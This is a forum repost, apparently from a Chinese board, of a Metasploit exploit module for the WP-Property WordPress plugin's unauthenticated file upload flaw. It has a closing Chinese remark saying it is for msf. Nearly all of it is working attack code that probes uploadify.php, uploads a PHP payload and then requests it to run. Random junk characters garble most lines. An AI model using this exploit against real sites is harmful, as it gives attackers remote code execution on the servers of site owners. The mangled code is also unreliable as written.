WordPress WP-Property PHP 文件上传漏洞
: g- e% J. E8 Y, i" k- [# m
4 q' P' m6 s% p0 b6 o ## # This file is part of the Metasploit Framework and may be subject to
3 ~9 A7 `3 I1 M" E' M" a
, T9 x6 W" b" J: O& Z6 d6 u3 N# redistribution and commercial restrictions. Please see the Metasploit
+ m6 d. G2 Y) p/ b
/ k& z: `% v0 K4 H7 F4 _0 B5 p# Framework web site for more information on licensing and terms of use.
- }5 K& [( q; n l6 @& R: h8 L; ~
# http://metasploit.com/framework/ ##: ~) A6 a2 N( |5 Q( {
# y3 u+ c( W2 L% e1 }3 `
# n- x0 s9 l% D$ t7 p0 n$ y; j" ^6 I" w I( e5 U
) v0 ]1 W- x2 o; o% E+ i
$ h! b7 B2 o/ J! Y5 Krequire 'msf/core'
, W& G/ e9 H t( B4 n% F9 krequire 'msf/core/exploit/php_exe': p% \1 u0 R+ S2 _ l
% O1 w% L* \; ]/ X/ F
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
8 Y: |0 g1 R4 b9 n5 u# U'Description' => %q{
# M0 S0 P& t) |This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
# ?$ p: K7 d, ]) m- h[+ K! a1 ]0 B- d' M& L) Q! Y0 N
'Sammy FORGIT', # initial discovery6 A. J/ ^% I; p4 Q; N
'James Fitts <fitts.james[at]gmail.com>' # metasploit module1 b, {# O0 q6 r
],
# V7 R6 q" c- T) a& D# N'License' => MSF_LICENSE,
; G( G7 Z: a% ]% j, R' ^'References' =>
& }0 J+ h8 W2 J/ d6 @# p' R+ C$ u[
7 t$ c) d" l% P+ R; ?) x* |[ 'OSVDB', '82656' ],+ C1 c# B. h. w% T- t0 Z/ h
[ 'BID', '53787' ],
. ^4 q7 c6 c/ i3 F( b/ I2 ][ 'EDB', '18987'],; T1 }3 @) C" }: W$ ~3 p ?3 s
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
& W3 ]# ^( Z+ F* X j],
" V: \/ j: F( B9 s'Payload' =>
: n6 c) N1 E9 A7 _$ a# \5 [{, Y3 `5 F+ z$ ~8 Q( @# {
'BadChars' => "\x00",3 E$ g% _- n, {5 C9 X9 x/ P' A: S- Q
},
5 V }8 ?; H* }7 A'Platform' => 'php',
& d4 {4 R$ ^ e* b% g1 D% d'Arch' => ARCH_PHP,
; x4 |* R1 F' e" m$ e'Targets' =>
& c" {* v7 c3 H[/ N# O! N$ I1 s( a! S
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],( x$ B3 u' u# d
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]- O% a$ @9 w) p) ^3 j1 a; b1 X
],+ x; x! P; W. ^7 D& {
'DefaultTarget' => 0,9 I/ [6 U; r3 P$ z! \
'DisclosureDate' => 'Mar 26 2012'))
% M$ a1 v1 ^$ P( m! l8 g: | h) G( G; [% ^" u. g
register_options() G' V( ^, v" g) K6 ?7 y
[
1 Q+ s d4 k0 P* w$ IOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
, t) U+ [8 X$ K; r- Z], self.class)
# W. Z5 E; _( d" f+ [end5 F/ `2 l$ T4 p; [
+ V, Q" n+ O+ K @" g0 {def check
6 Y5 J+ a( {; q' H6 J" e) e6 J. luri = target_uri.path" ]3 D. J1 y; P: ^# ^' ]
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
0 ? j9 i* e9 z- u; j" [; M! H'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
& H3 }. l/ V3 z: P% o2 Z})
8 w+ t4 e8 j1 W/ E
6 g8 f; e- B( `5 ]; uif not res or res.code != 200' X& h2 Q. I/ A) u
return Exploit::CheckCode::Unknown
( _( s+ t( F; p! g" t% Uend# [) N3 {2 |7 G1 n# W* q$ Q
% [ T! l2 q, [) {+ ?return Exploit::CheckCode::Appears
8 k- w6 I# o& e5 h6 G" \end+ z8 w2 O E8 e' J6 T5 m
3 r! V& Y' q: E$ J* R7 u
def exploit
9 S& K3 A) M6 n. ? Nuri = target_uri.path/ ?1 l' c, P1 h8 b9 _) T7 Y) W
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
1 `- m5 u6 o/ e$ r: F$ M# j6 A$ Q$ G4 z( I" p
data = Rex::MIME::Message.new
% K$ \4 B& j5 {7 D! ]# U2 j' s8 `data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
' C1 y6 t Z) G6 d& r; Mdata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")3 m4 E( D1 J4 O$ B
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
- S- q6 f2 `# [$ @$ ?4 N* x' K, ~ n6 W% }% }0 x
print_status("#{peer} - Uploading payload #{@payload_name}"); a1 L- i8 C7 \$ L& g4 g% A. p2 f
res = send_request_cgi({7 W. v7 r2 o# M2 \
'method' => 'POST',1 P- Z7 F, G" Y" _# F0 g$ Q1 }+ P
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php", _5 N% H' V( q* y7 l6 [* U5 c
'ctype' => "multipart/form-data; boundary=#{data.bound}",8 W6 K; m4 K9 m! p
'data' => post_data
5 c8 m$ [2 Y" i2 y$ c' n})
A7 B0 n( X& K( O* C+ x$ W; }, p3 d8 r
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
2 Y9 t2 J$ v5 F1 y% D0 }) ~0 hfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
. k; ]9 o G, L6 D9 Q: Q- k/ {end
' C9 t- z* x* O3 g g& A& W) B
( ?7 t- J' |; I; C9 e7 R* i: s! kupload_uri = res.body. F( e' e* N" D
3 M2 N4 F' E' d
print_status("#{peer} - Executing payload #{@payload_name}")
/ J! {; F" j* V9 \2 xres = send_request_raw({ R" \" P/ m- a' k
'uri' => upload_uri, _0 K- l; i" t* J4 I7 y8 M
'method' => 'GET'
) i* R$ @0 c$ R. @})
# O$ v' i" G9 K5 |& hend
+ o9 Y. y* h8 ]2 `end* s/ M' R( k O3 f1 J7 I& Q0 o1 \
6 o5 O5 P$ V3 R( ]不要问我这写的是什么 怎么利用 我是说msf.. O5 b: G0 k2 p+ U. q8 i
* l& k2 j# L. ~( F9 q5 @
|